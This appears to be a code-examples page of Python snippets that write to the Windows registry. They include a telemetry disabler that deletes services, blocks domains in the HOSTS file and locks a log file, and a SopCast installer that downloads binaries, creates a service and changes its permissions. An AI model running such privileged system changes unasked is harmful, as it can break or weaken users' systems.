WM_APPCOMMAND = 0x319

# Mute/demute microphone
APPCOMMAND_MICROPHONE_VOLUME_MUTE = 0x180000

# get the hwnd of the active window
hwnd_active = win32gui.GetForegroundWindow()

# use it to create an event and take cantrol over the mic
# we chose the mute/demute option
win32api.SendMessage(hwnd_active, WM_APPCOMMAND, None,
예제 #12
0
	def RegModifyDns(self,id,dns):
		print id,dns
		hkey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,r'System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\',0,_winreg.KEY_ALL_ACCESS)
	
		hSubKey = _winreg.OpenKey(hkey, id,0,_winreg.KEY_ALL_ACCESS)
		print _winreg.SetValueEx(hSubKey,'NameServer',None,_winreg.REG_SZ,dns)
    def process(self, instance):
        import os
        import _winreg
        import subprocess

        import pyblish_standalone
        import pipeline_schema
        import ftrack

        progpath = instance.context.data['kwargs']['data']['progpath'][:-1]
        exe = os.path.join(progpath, 'CelAction2D.exe')

        path = os.path.dirname(pyblish_standalone.kwargs['path'][0])
        filename = os.path.basename(pyblish_standalone.kwargs['path'][0])
        scene_file = os.path.join(path, 'publish', filename).replace('\\', '/')

        # getting submission parameters
        start = instance.context.data['kwargs']['data']['start']
        end = instance.context.data['kwargs']['data']['end']
        width = instance.context.data['kwargs']['data']['x']
        height = instance.context.data['kwargs']['data']['y']

        # get version data
        version_number = 1
        if instance.context.has_data('version'):
            version_number = instance.context.data('version')

        # get output filename
        data = pipeline_schema.get_data()
        data['extension'] = 'png'
        data['output_type'] = 'img'
        data['name'] = instance.data["name"]
        data['version'] = version_number
        output_path = pipeline_schema.get_path('output_sequence', data)

        # Modify registry for frame separation
        path = r'Software\CelAction\CelAction2D\User Settings'
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, path)
        hKey = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, path, 0,
                               _winreg.KEY_ALL_ACCESS)

        _winreg.SetValueEx(hKey, 'RenderNameUseSeparator', 0,
                           _winreg.REG_DWORD, 1)
        _winreg.SetValueEx(hKey, 'RenderNameSeparator', 0, _winreg.REG_SZ, '.')

        # create output directory
        if not os.path.exists(os.path.dirname(output_path)):
            os.makedirs(os.path.dirname(output_path))

        # process render
        args = [
            exe, scene_file, '-a', '-s', start, '-e', end, '-x', width, '-y',
            height, '-d',
            os.path.dirname(output_path), '-r',
            os.path.basename(output_path).replace('.%04d', ''), '-=',
            'AbsoluteFrameNumber=on', '-=', 'PadDigits=4', '-=',
            'ClearAttachment=on'
        ]

        self.log.info('Arguments to execute: %s' % args)
        subprocess.call(args)

        # publish to ftrack
        task = ftrack.Task(instance.context.data['ftrackData']['Task']['id'])
        asset = task.getParent().createAsset(task.getName(), 'img', task=task)

        version = None
        for v in asset.getVersions():
            if v.getVersion() == version_number:
                version = v

        if not version:
            version = asset.createVersion()
            version.set('version', version_number)

        version.publish()

        try:
            version.createComponent(name=instance.data["name"],
                                    path=output_path)
        except:
            msg = 'Ftrack component "%s" already exists' % instance.data["name"]
            self.log.warning(msg)
예제 #14
0
    def get():
        package_dir = os.path.join(sublime.packages_path(), installed_dir)
        terminal = get_setting('terminal')
        if terminal:
            dir, executable = os.path.split(terminal)
            if not dir:
                joined_terminal = os.path.join(package_dir, executable)
                if os.path.exists(joined_terminal):
                    terminal = joined_terminal
                    if not os.access(terminal, os.X_OK):
                        os.chmod(terminal, 0o755)
            return terminal

        if TerminalSelector.default:
            return TerminalSelector.default

        default = None

        if os.name == 'nt':
            if os.path.exists(
                    os.environ['SYSTEMROOT'] +
                    '\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'):
                # Это имитирует PowerShell по умолчанию цветов, так как называть
                # subprocess.POpen() заканчивается действуя как запуск PowerShell с
                # от cmd.exe. Как правило, размер и цвет передаются по наследству
                # от cmd.exe, но это создает пользовательское отображение, а затем
                # то LaunchPowerShell.bat файл корректирует некоторые другие параметры.
                key_string = 'Console\\%SystemRoot%_system32_' + \
                    'WindowsPowerShell_v1.0_powershell.exe'
                try:
                    key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
                                          key_string)
                except (WindowsError):
                    key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
                                            key_string)
                    _winreg.SetValueEx(key, 'ColorTable05', 0,
                                       _winreg.REG_DWORD, 5645313)
                    _winreg.SetValueEx(key, 'ColorTable06', 0,
                                       _winreg.REG_DWORD, 15789550)
                default = os.path.join(package_dir, 'PS.bat')
                sublime_terminal_path = os.path.join(sublime.packages_path(),
                                                     installed_dir)
                # Это должно превратить путь в 8.3-стиль путь, обойти Юникод
                # вопросы и пробелы
                buf = create_unicode_buffer(512)
                if windll.kernel32.GetShortPathNameW(sublime_terminal_path,
                                                     buf, len(buf)):
                    sublime_terminal_path = buf.value
                os.environ[
                    'sublime_terminal_path'] = sublime_terminal_path.replace(
                        ' ', '` ')
            else:
                default = os.environ['SYSTEMROOT'] + '\\System32\\cmd.exe'

        elif sys.platform == 'darwin':
            default = os.path.join(package_dir, 'Terminal.sh')
            if not os.access(default, os.X_OK):
                os.chmod(default, 0o755)

        else:
            ps = 'ps -eo comm,args | grep -E "^(gnome-session|ksmserver|' + \
                'xfce4-session|lxsession|mate-panel|cinnamon-sessio)" | grep -v grep'
            wm = [x.replace("\n", '') for x in os.popen(ps)]
            if wm:
                # elementary OS: `/usr/lib/gnome-session/gnome-session-binary --session=pantheon`
                # Gnome: `gnome-session` or `gnome-session-binary`
                # Linux Mint Cinnamon: `cinnamon-session --session cinnamon`
                if wm[0].startswith('gnome-session') or wm[0].startswith(
                        'cinnamon-sessio'):
                    if 'pantheon' in wm[0]:
                        default = 'pantheon-terminal'
                    else:
                        default = 'gnome-terminal'
                elif wm[0].startswith('xfce4-session'):
                    default = 'xfce4-terminal'
                elif wm[0].startswith('ksmserver'):
                    default = 'konsole'
                elif wm[0].startswith('lxsession'):
                    default = 'lxterminal'
                elif wm[0].startswith('mate-panel'):
                    default = 'mate-terminal'
            if not default:
                default = 'xterm'

        TerminalSelector.default = default
        return default
예제 #15
0
def setwallpaper(pic_path):
    key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Control Panel\\Desktop",0, wreg.KEY_ALL_ACCESS)
    wreg.SetValueEx(key, 'Wallpaper', 0, wreg.REG_SZ, pic_path) 
예제 #16
0
    def onok(self, event):
        if self.telebox.IsChecked():
            self.telekeypath = r'SOFTWARE\Policies\Microsoft\Windows\DataCollection'  # Path to Telemetry key
            self.telekey2path = r'SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\DataCollection'  # 2nd path

            try:
                self.telekey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.telekeypath, 0, _winreg.KEY_ALL_ACCESS)
                _winreg.SetValueEx(self.telekey, "AllowTelemetry", 0, _winreg.REG_SZ, "0")  # Disable Telemetry
                _winreg.CloseKey(self.telekey)
                print "Telemetry key succesfully modified."
            except WindowsError:
                print "Unable to modify Telemetry key. Deleted, or is the program not elevated? Trying another method"

            try:
                self.telekey2 = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.telekey2path, 0,
                                                _winreg.KEY_ALL_ACCESS)
                _winreg.SetValueEx(self.telekey2, "AllowTelemetry", 0, _winreg.REG_SZ, "0")  # Disable Telemetry
                _winreg.CloseKey(self.telekey2)
                print "2nd Telemetry key succesfully modified."
            except WindowsError:
                print "Unable to modify 2nd Telemetry key. Deleted, or is the program not elevated?"

        if self.diagbox.IsChecked():
            self.logfile = os.path.join(os.environ['SYSTEMDRIVE'],
                                        '\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl')

            try:
                win32serviceutil.StopService('Diagnostics Tracking Service')  # Stop Diagnostics Tracking Service
                print "Stopping DiagTrack service."
            except pywintypes.error:
                print "Couldn't stop DiagTrack service. Deleted, or is the program not elevated?"

            try:
                open(self.logfile, 'w').close()  # Clear the AutoLogger file
                subprocess.Popen(
                    ["echo", "y|cacls", self.logfile, "/d", "SYSTEM"],
                    shell=True)  # Prevent modification to file
                print "DiagTrack log succesfully cleared and locked."
            except IOError:
                print "Unable to clear DiagTrack log. Deleted, or is the program not elevated?"

        if self.hostbox.IsChecked():
            self.MSHosts = ['adnxs.com', 'c.msn.com', 'g.msn.com', 'h1.msn.com', 'msedge.net',
                            'ads.msn.com', 'adnexus.net', 'ac3.msn.com', 'c.atdmt.com', 'm.adnxs.com', 'rad.msn.com',
                            'sO.2mdn.net', 'ads1.msn.com', 'ec.atdmt.com', 'flex.msn.com', 'rad.live.com',
                            'ui.skype.com', 'msftncsi.com', 'a-msedge.net', 'a.rad.msn.com', 'b.rad.msn.com',
                            'cdn.atdmt.com', 'm.hotmail.com', 'ads1.msads.net', 'a.ads1.msn.com', 'a.ads2.msn.com',
                            'apps.skype.com', 'b.ads1.msn.com', 'view.atdmt.com', 'watson.live.com',
                            'aidps.atdmt.com', 'preview.msn.com', 'static.2mdn.net', 'a.ads2.msads.net',
                            'b.ads2.msads.net', 'db3aqu.atdmt.com', 'secure.adnxs.com', 'www.msftncsi.com',
                            'cs1.wpc.v0cdn.net', 'live.rads.msn.com', 'ad.doubleclick.net', 'bs.serving-sys.com',
                            'a-0001.a-msedge.net', 'pricelist.skype.com', 'a-0001.a-msedge.net', 'a-0002.a-msedge.net',
                            'a-0003.a-msedge.net', 'a-0004.a-msedge.net', 'a-0005.a-msedge.net', 'a-0006.a-msedge.net',
                            'a-0007.a-msedge.net', 'a-0008.a-msedge.net', 'a-0009.a-msedge.net', 'choice.microsoft.com',
                            'watson.microsoft.com', 'feedback.windows.com', 'aka-cdn-ns.adtech.de',
                            'cds26.ams9.msecn.net', 'lb1.www.ms.akadns.net', 'corp.sts.microsoft.com',
                            'az361816.vo.msecnd.net', 'az512334.vo.msecnd.net', 'telemetry.microsoft.com',
                            'msntest.serving-sys.com', 'secure.flashtalking.com', 'telemetry.appex.bing.net',
                            'pre.footprintpredict.com', 'vortex.data.microsoft.com',
                            'statsfe2.ws.microsoft.com', 'statsfe1.ws.microsoft.com', 'df.telemetry.microsoft.com',
                            'oca.telemetry.microsoft.com', 'sqm.telemetry.microsoft.com', 'telemetry.urs.microsoft.com',
                            'survey.watson.microsoft.com', 'compatexchange.cloudapp.net', 'feedback.microsoft-hohm.com',
                            's.gateway.messenger.live.com', 'vortex-win.data.microsoft.com',
                            'feedback.search.microsoft.com', 'schemas.microsoft.akadns.net ',
                            'watson.telemetry.microsoft.com', 'choice.microsoft.com.nsatc.net',
                            'wes.df.telemetry.microsoft.com', 'sqm.df.telemetry.microsoft.com',
                            'settings-win.data.microsoft.com', 'redir.metaservices.microsoft.com',
                            'i1.services.social.microsoft.com', 'vortex-sandbox.data.microsoft.com',
                            'diagnostics.support.microsoft.com', 'watson.ppe.telemetry.microsoft.com',
                            'msnbot-65-55-108-23.search.msn.com', 'telecommand.telemetry.microsoft.com',
                            'settings-sandbox.data.microsoft.com', 'sls.update.microsoft.com.akadns.net',
                            'fe2.update.microsoft.com.akadns.net', 'vortex-bn2.metron.live.com.nsatc.net',
                            'vortex-cy2.metron.live.com.nsatc.net', 'oca.telemetry.microsoft.com.nsatc.net',
                            'sqm.telemetry.microsoft.com.nsatc.net', 'reports.wes.df.telemetry.microsoft.com',
                            'corpext.msitadfs.glbdns2.microsoft.com', 'services.wes.df.telemetry.microsoft.com',
                            'watson.telemetry.microsoft.com.nsatc.net', 'statsfe2.update.microsoft.com.akadns.net',
                            'i1.services.social.microsoft.com.nsatc.net',
                            'telecommand.telemetry.microsoft.com.nsatc.net', 'onesettings-db5.metron.live.nsatc.net',
                            'www.go.microsoft.akadns.net', 'a1961.g.akamai.net', 'a1621.g.akamai.net', 'a248.e.akamai.net',
                            'a1856.g2.akamai.net', 'e7341.g.akamaiedge.net', 'e7502.ce.akamaiedge.net', 'e8218.ce.akamaiedge.net',
                            'e2835.dspb.akamaiedge.net', 'h2.msn.com', 'hostedocsp.globalsign.com', 'bingads.microsoft.com',
                            'www.bingads.microsoft.com', 'ipv6.msftncsi.com.edgesuite.net', 'ipv6.msftncsi.com', 'win10.ipv6.microsoft.com',
                            'a978.i6g1.akamai.net', 'any.edge.bing.com']
            self.IP = '0.0.0.0 '
            self.MSHosts2 = [self.IP + x for x in self.MSHosts]
            self.hostslocation = os.path.join(os.environ['SYSTEMROOT'], 'System32\\drivers\\etc\\hosts')

            try:
                with open(self.hostslocation, 'ab') as f:
                    f.write('\r\n' + '\r\n'.join(self.MSHosts2))
                print "Domains successfully appended to HOSTS file."
            except WindowsError:
                print "Could not access HOSTS file. Is the program not elevated?"

        if self.onedrivebox.IsChecked():
            self.onedkeypath = r'SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\OneDrive'  # Path to OneDrive key

            try:
                self.onedkey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.onedkeypath, 0, _winreg.KEY_ALL_ACCESS)
                _winreg.SetValueEx(self.onedkey, "DisableFileSyncNGSC", 0, _winreg.REG_DWORD, 1)  # Disable Telemetry
                _winreg.CloseKey(self.onedkey)
                print "OneDrive key succesfully modified."
            except WindowsError:
                print "Unable to modify OneDrive key. Deleted, or is the program not elevated?"

        if self.servicerad.Selection == 1 and self.servicebox.IsChecked():
            try:
                win32serviceutil.RemoveService('dmwappushsvc')  # Delete dmwappushsvc
                print "dmwappushsvc successfully deleted."
            except pywintypes.error:
                print "dmwappushsvc unable to be deleted. Deleted already, or is the program not elevated?"

            try:
                win32serviceutil.RemoveService('Diagnostics Tracking Service')  # Delete the DiagnosticsTracking Service
                print "Diagnostics Tracking Service successfully deleted."
            except pywintypes.error:
                print "Diagnostics Tracking Service unable to be deleted. Deleted already, or is the program not elevated?"

        elif self.servicerad.Selection == 0 and self.servicebox.IsChecked():
            self.diagkeypath = r'SYSTEM\CurrentControlSet\Services\DiagTrack'
            self.dmwakeypath = r'SYSTEM\CurrentControlSet\Services\dmwappushsvc'

            try:
                self.diagkey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.diagkeypath, 0, _winreg.KEY_ALL_ACCESS)
                _winreg.SetValueEx(self.diagkey, "Start", 0, _winreg.REG_DWORD, 0x0000004)
                _winreg.CloseKey(self.diagkey)
            except WindowsError:
                print "Unable to modify DiagTrack key. Deleted, or is the program not elevated?"

            try:
                self.dmwakey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.dmwakeypath, 0, _winreg.KEY_ALL_ACCESS)
                _winreg.SetValueEx(self.dmwakey, "Start", 0, _winreg.REG_DWORD, 0x0000004)
                _winreg.CloseKey(self.dmwakey)
                print "dmwappushsvc key successfully modified"
            except WindowsError:
                print "Unable to modify dmwappushsvc key. Deleted, or is the program not elevated?"

            try:
                win32serviceutil.StopService('Diagnostics Tracking Service')  # Disable Diagnostics Tracking Service
                print "Diagnostics Tracking Service successfully stopped"
            except pywintypes.error:
                print "Diagnostics Tracking Service unable to be stopped. Deleted, or is the program not elevated?"

            try:
                win32serviceutil.StopService('dmwappushsvc')  # Disable dmwappushsvc
                print "dmwappushsvc successfully stopped"
            except pywintypes.error:
                print "dmwappushsvc unable to be stopped. Deleted, or is the program not elevated?"

        print "Done. You can close this window after reading the log."
예제 #17
0
    def get():
        package_dir = os.path.join(sublime.packages_path(), installed_dir)
        terminal = get_setting('terminal')
        if terminal:
            dir, executable = os.path.split(terminal)
            if not dir:
                joined_terminal = os.path.join(package_dir, executable)
                if os.path.exists(joined_terminal):
                    terminal = joined_terminal
                    if not os.access(terminal, os.X_OK):
                        os.chmod(terminal, 0o755)
            return terminal

        if TerminalSelector.default:
            return TerminalSelector.default

        default = None

        if os.name == 'nt':
            if os.path.exists(
                    os.environ['SYSTEMROOT'] +
                    '\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'):
                # This mimics the default powershell colors since calling
                # subprocess.POpen() ends up acting like launching powershell
                # from cmd.exe. Normally the size and color are inherited
                # from cmd.exe, but this creates a custom mapping, and then
                # the LaunchPowerShell.bat file adjusts some other settings.
                key_string = 'Console\\%SystemRoot%_system32_' + \
                    'WindowsPowerShell_v1.0_powershell.exe'
                try:
                    key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
                                          key_string)
                except (WindowsError):
                    key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
                                            key_string)
                    _winreg.SetValueEx(key, 'ColorTable05', 0,
                                       _winreg.REG_DWORD, 5645313)
                    _winreg.SetValueEx(key, 'ColorTable06', 0,
                                       _winreg.REG_DWORD, 15789550)
                default = os.path.join(package_dir, 'PS.bat')
                sublime_terminal_path = os.path.join(sublime.packages_path(),
                                                     installed_dir)
                # This should turn the path into an 8.3-style path, getting around unicode
                # issues and spaces
                buf = create_unicode_buffer(512)
                if windll.kernel32.GetShortPathNameW(sublime_terminal_path,
                                                     buf, len(buf)):
                    sublime_terminal_path = buf.value
                os.environ[
                    'sublime_terminal_path'] = sublime_terminal_path.replace(
                        ' ', '` ')
            else:
                default = os.environ['SYSTEMROOT'] + '\\System32\\cmd.exe'

        elif sys.platform == 'darwin':
            default = os.path.join(package_dir, 'Terminal.sh')
            if not os.access(default, os.X_OK):
                os.chmod(default, 0o755)

        else:
            ps = 'ps -eo comm | grep -E "gnome-session|ksmserver|' + \
                'xfce4-session|lxsession|mate-panel|cinnamon-sessio" | grep -v grep'
            wm = [x.replace("\n", '') for x in os.popen(ps)]
            if wm:
                if 'gnome-session' in wm[0] or wm[0] == 'cinnamon-sessio':
                    default = 'gnome-terminal'
                elif wm[0] == 'xfce4-session':
                    default = 'xfce4-terminal'
                elif wm[0] == 'ksmserver':
                    default = 'konsole'
                elif wm[0] == 'lxsession':
                    default = 'lxterminal'
                elif wm[0] == 'mate-panel':
                    default = 'mate-terminal'
            if not default:
                default = 'xterm'

        TerminalSelector.default = default
        return default
예제 #18
0
 def _write_reg(self, regpath, section, option, value):
     """ Writes to the registry path. """
     hkey = _winreg.CreateKey(self._get_default_regkey(regpath, True),
                              section)
     _winreg.SetValueEx(hkey, option, 0, value[1], value[0])
     if hkey: _winreg.CloseKey(hkey)
예제 #19
0
    for subkey in range(winreg.QueryInfoKey(OurKey)[0]):
        print winreg.EnumKey(OurKey, subkey), "\n"

    for subkey in range(winreg.QueryInfoKey(OurKey)[1]):
        print winreg.EnumValue(OurKey, subkey)[0:2], "\n"

    #code block to save the backup file
    if len(sys.argv) > 2:
        FILE = sys.argv[2]
        if FILE.find('File:') == 0:
            winreg.SaveKey(OurKey, FILE[5:])
        else:
            KeyName = sys.argv[2]
            Value = winreg.QueryValueEx(OurKey, KeyName)[0]

            print "The path is " + sys.argv[1] + "\\" + sys.argv[2]
            print "\nValue of", KeyName, "is", Value

    #code block for assigning new values to the subkeys
    if len(sys.argv) > 3:
        NewKey = winreg.OpenKey(OurKey, None, 0, winreg.KEY_ALL_ACCESS)
        winreg.SetValueEx(NewKey, KeyName, 0,
                          winreg.QueryValueEx(OurKey, KeyName)[1], sys.argv[3])
        print "The new value is:", winreg.QueryValueEx(OurKey, KeyName)[0]

except Exception:
    pass

#closing main
main()
예제 #20
0
def configure_sopcast(latest_version):
	#Configuration for LINUX 
	if xbmc.getCondVisibility('system.platform.linux') and not xbmc.getCondVisibility('system.platform.Android'):
		print("Detected OS: Linux")
		#Linux Armv
		if "arm" in os.uname()[4]:
			print("Sopcast Configuration - LINUX ARM")
			if settings.getSetting('rpi2') == "true":
				print("Raspberry PI 2")
				SPSC_KIT = os.path.join(addonpath,sopcast_raspberry.split("/")[-1])
				download_tools().Downloader(sopcast_raspberry,SPSC_KIT,translate(30076),translate(30000))
				if tarfile.is_tarfile(SPSC_KIT):
					path_libraries = os.path.join(pastaperfil,"sopcast")
					download_tools().extract(SPSC_KIT,path_libraries)
					xbmc.sleep(500)
					download_tools().remove(SPSC_KIT)
				if latest_version: settings.setSetting('sopcast_version',value=latest_version)
				return

		elif os.uname()[4] == "x86_64":
			generic = False
			if settings.getSetting('openelecx86_64') == "true":
				print("Detected OpenELEC x86_64")
				SPSC_KIT = os.path.join(addonpath,openelecx86_64_sopcast.split("/")[-1])
				download_tools().Downloader(openelecx86_64_sopcast,SPSC_KIT,translate(30076),translate(30000))
				if tarfile.is_tarfile(SPSC_KIT):
					download_tools().extract(SPSC_KIT,pastaperfil)
					xbmc.sleep(500)
					download_tools().remove(SPSC_KIT)
				if latest_version: settings.setSetting('sopcast_version',value=latest_version)
				return
			else: generic = True
		elif os.uname()[4] == "i386" or os.uname()[4] == "i686":
			generic = False
			if settings.getSetting('openeleci386') == "true":
				SPSC_KIT = os.path.join(addonpath,openelecxi386_sopcast.split("/")[-1])
				download_tools().Downloader(openelecxi386_sopcast,SPSC_KIT,translate(30076),translate(30000))
				if tarfile.is_tarfile(SPSC_KIT):
					download_tools().extract(SPSC_KIT,pastaperfil)
					xbmc.sleep(500)
					download_tools().remove(SPSC_KIT)
				if latest_version: settings.setSetting('sopcast_version',value=latest_version)
				return
			else: generic = True
		if generic == True:
			SPSC_KIT = os.path.join(addonpath,sopcast_linux_generico.split("/")[-1])
			download_tools().Downloader(sopcast_linux_generico,SPSC_KIT,translate(30076),translate(30000))
			if tarfile.is_tarfile(SPSC_KIT):
				path_libraries = os.path.join(pastaperfil,"sopcast")
				download_tools().extract(SPSC_KIT,path_libraries)
				xbmc.sleep(500)
				download_tools().remove(SPSC_KIT)
			#set every single file from the bundle as executable
			path_libraries = os.path.join(pastaperfil,"sopcast")
			dirs, files = xbmcvfs.listdir(path_libraries)
			for ficheiro in files:
				binary_path = os.path.join(path_libraries,ficheiro)
				st = os.stat(binary_path)
				import stat
				os.chmod(binary_path, st.st_mode | stat.S_IEXEC)
			path_libraries = os.path.join(path_libraries,"lib")
			dirs, files = xbmcvfs.listdir(path_libraries)
			for ficheiro in files:
				binary_path = os.path.join(path_libraries,ficheiro)
				st = os.stat(binary_path)
				import stat
				os.chmod(binary_path, st.st_mode | stat.S_IEXEC)
			if latest_version: settings.setSetting('sopcast_version',value=latest_version)
			return

	elif xbmc.getCondVisibility('system.platform.windows'):
		print("Detected OS: Windows")
		if not xbmcvfs.exists(pastaperfil): xbmcvfs.mkdir(pastaperfil)
        	#Sop
		import ctypes
                is_admin=ctypes.windll.shell32.IsUserAnAdmin() != 0
                if is_admin == False:
                    mensagemok(translate(30000),translate(30077),translate(30078))
                else:
                    cmd = ['sc','delete','sopcastp2p']
                    proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True)
                    for line in proc.stdout:
                        print("cmd out: " + line.rstrip())
                    xbmc.sleep(1000)
                    ret = mensagemprogresso.create(translate(30000),translate(30000))
                    mensagemprogresso.update(0,translate(30117),"  ")
                    xbmc.sleep(1000)
                    import _winreg
                    aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
                    try:
                        aKey = _winreg.OpenKey(aReg, r'SOFTWARE\SopCast\Player\InstallPath',0, _winreg.KEY_READ)
                        name, value, type = _winreg.EnumValue(aKey, 0)
                        sopcast_executable = value
                        print("Installation executable of sopcast was found: " + sopcast_executable)
                        _winreg.CloseKey(aKey)
                        mensagemprogresso.update(10,translate(30079),translate(30080))
                    except:
                        sopcast_executable = ""
                        mensagemok(translate(30000),translate(30081),translate(30082))
                    if not sopcast_executable: pass
                    else:
                        xbmc.sleep(1000)
                        mensagemprogresso.update(20,translate(30083),"  ")
                        xbmc.sleep(1000)
                        print ("Getting windows users IDS")
                        aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
                        aKey = _winreg.OpenKey(aReg, r'SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList')
                        users = []
                        for i in range(1024):
                            try:
                                asubkey=_winreg.EnumKey(aKey,i)
                                print(asubkey)
                                aKeydois = _winreg.OpenKey(aReg, os.path.join('SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList',asubkey))
                                val=_winreg.QueryValueEx(aKeydois, "ProfileImagePath")
                                try:
                                    print(val[0])
                                except:
                                    print("Notice: User with strange characters, print cmd ignored.")
                                if "Windows" in val[0] or "%systemroot%" in val[0]:
                                    pass
                                else:
                                    users.append(asubkey)
                            except:
                                pass
                        if not users:
                            mensagemok(translate(30000),translate(30084))
                        else:
                            mensagemprogresso.update(30,translate(30085),translate(30080))
                            xbmc.sleep(200)
                            mensagemprogresso.update(30,translate(30086),"   ")
                            xbmc.sleep(1000)
                            print("System Users", users)
                            srvany_final_location = os.path.join(sopcast_executable.replace("SopCast.exe",""),"srvany.exe")
                            srvany_download_location = os.path.join(addonpath,"srvany.exe")
                            srvanytgz_download_location = os.path.join(addonpath,"srvany.tar.gz")                            
                            download_tools().Downloader(srvany_executable,srvanytgz_download_location,translate(30087),translate(30000)) 
                            xbmc.sleep(1000)
                            if tarfile.is_tarfile(srvanytgz_download_location):
                                path_libraries = addonpath
                                download_tools().extract(srvanytgz_download_location,path_libraries)
                                xbmcvfs.copy(srvany_download_location,srvany_final_location)
                                download_tools().remove(srvanytgz_download_location)
                                download_tools().remove(srvany_download_location)
                            xbmc.sleep(1000)
                            ret = mensagemprogresso.create(translate(30000),translate(30000))
                            xbmc.sleep(200)
                            mensagemprogresso.update(35,translate(30088),"  ")
                            xbmc.sleep(1000)
                            cmd = ['sc','create','sopcastp2p','binpath=',os.path.join(os.path.join(sopcast_executable.replace("SopCast.exe","")),'srvany.exe')]
                            proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True)
                            servicecreator = False
                            for line in proc.stdout:
                                print ("cmd out: " + line.rstrip())
                                servicecreator = True
                            if servicecreator == False:
                                mensagemok(translate(30000),translate(30089))
                            else:
                                mensagemprogresso.update(40,translate(30088),translate(30080))
                                xbmc.sleep(1000)
                                mensagemprogresso.update(45,translate(30090),"  ")
                                xbmc.sleep(1000)
                                print("Trying to modify regedit....")
                                try:
                                    aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
                                    key = _winreg.CreateKey(aReg, r'SYSTEM\CurrentControlSet\Services\sopcastp2p\Parameters')
                                    _winreg.SetValueEx(key, 'AppDirectory', 0, _winreg.REG_SZ, os.path.join(sopcast_executable.replace("SopCast.exe","")))
                                    _winreg.SetValueEx(key, 'Application', 0, _winreg.REG_SZ, os.path.join(os.path.join(sopcast_executable.replace("SopCast.exe","")),"SopCast.exe"))
                                    _winreg.SetValueEx(key, 'AppParameters', 0, _winreg.REG_SZ, "sop://")
                                    mensagemprogresso.update(50,translate(30090), translate(30080))
                                    regedit = True
                                except:
                                    mensagemok(translate(30000),translate(30091))
                                    regedit = False
                                if regedit == False: pass
                                else:
                                    xbmc.sleep(1000)
                                    mensagemprogresso.update(50,translate(30092), "   ")
                                    cmd = ['sc','sdshow','sopcastp2p']
                                    proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True)
                                    lines = []
                                    for line in proc.stdout:
					print(line.rstrip())
                                        if line.rstrip() != "" and "(" in line.rstrip(): lines.append(line.rstrip())
                                        else: pass
                                    if len(lines) != 1: mensagemok(translate(30000),translate(30093))
                                    else:
                                        linha_arr = []
                                        for user in users:
                                            linha_arr.append('(A;;RPWPCR;;;' + user + ')')
                                        linha_add = ''
                                        for linha in linha_arr:
                                            linha_add += linha
                                        print("line piece to add: " + linha_add)
                                        linha_final = lines[0].replace("S:(",linha_add + "S:(")
                                        print("Final line: " + linha_final)
                                        permissions = False
                                        xbmc.sleep(500)
                                        mensagemprogresso.update(60,translate(30092), translate(30080))
                                        xbmc.sleep(500)
                                        mensagemprogresso.update(60,translate(30094), "   ")
                                        cmd = ['sc','sdset','sopcastp2p',linha_final]
                                        proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True)
                                        for line in proc.stdout:
                                            print(line.rstrip())
                                            permissions = True
                                        if permissions == False: mensagemok(translate(30000),translate(30095))
                                        else:
                                            mensagemprogresso.update(70,translate(30094), translate(30080))
                                            xbmc.sleep(1000)
                                            mensagemprogresso.update(70,translate(30096), "   ")
                                            print("Trying to set sopcastp2p service regedit permissions...")
                                            download_tools().Downloader(srvany_permissions,os.path.join(pastaperfil,"sopcastp2p-permissions.txt"),translate(30097),translate(30000))
                                            xbmc.sleep(500)
                                            ret = mensagemprogresso.create(translate(30000),translate(30000))
                                            xbmc.sleep(500)
                                            mensagemprogresso.update(80,translate(30098), "   ")
                                            xbmc.sleep(1000)
                                            cmd = ['regini',os.path.join(pastaperfil,"sopcastp2p-permissions.txt")]
                                            proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True)
                                            for line in proc.stdout:
                                                print(line.rstrip())
                                            mensagemprogresso.update(90,translate(30098), translate(30098))
                                            mensagemprogresso.update(100,translate(30099), "   ")
                                            xbmc.sleep(2000)
                                            mensagemprogresso.close()
                                            if latest_version: settings.setSetting('sopcast_version',value=latest_version)
                                            return
    
	elif xbmc.getCondVisibility('System.Platform.OSX'):
		print("Detected OS: Mac OSX")
		available = False
		if os.uname()[-1] == "x86_64":
			mac_package = osx_x64_sopcast
			available = True
		elif os.uname()[-1] == "i386":
			mac_package = osx_i386_sopcast
			available = True
		else:
			available = False
		if available == True:		
			if not os.path.exists(pastaperfil):
				xbmcvfs.mkdir(pastaperfil)		
			MAC_KIT = os.path.join(addonpath,mac_package.split("/")[-1])
			download_tools().Downloader(mac_package,MAC_KIT,translate(30076),translate(30000))
			if tarfile.is_tarfile(MAC_KIT):
				path_libraries = os.path.join(pastaperfil)
				download_tools().extract(MAC_KIT,pastaperfil)
				download_tools().remove(MAC_KIT)
				sp_sc_auth = os.path.join(pastaperfil,"sopcast","sp-sc-auth")
				st = os.stat(sp_sc_auth)
				import stat
				os.chmod(sp_sc_auth, st.st_mode | stat.S_IEXEC)
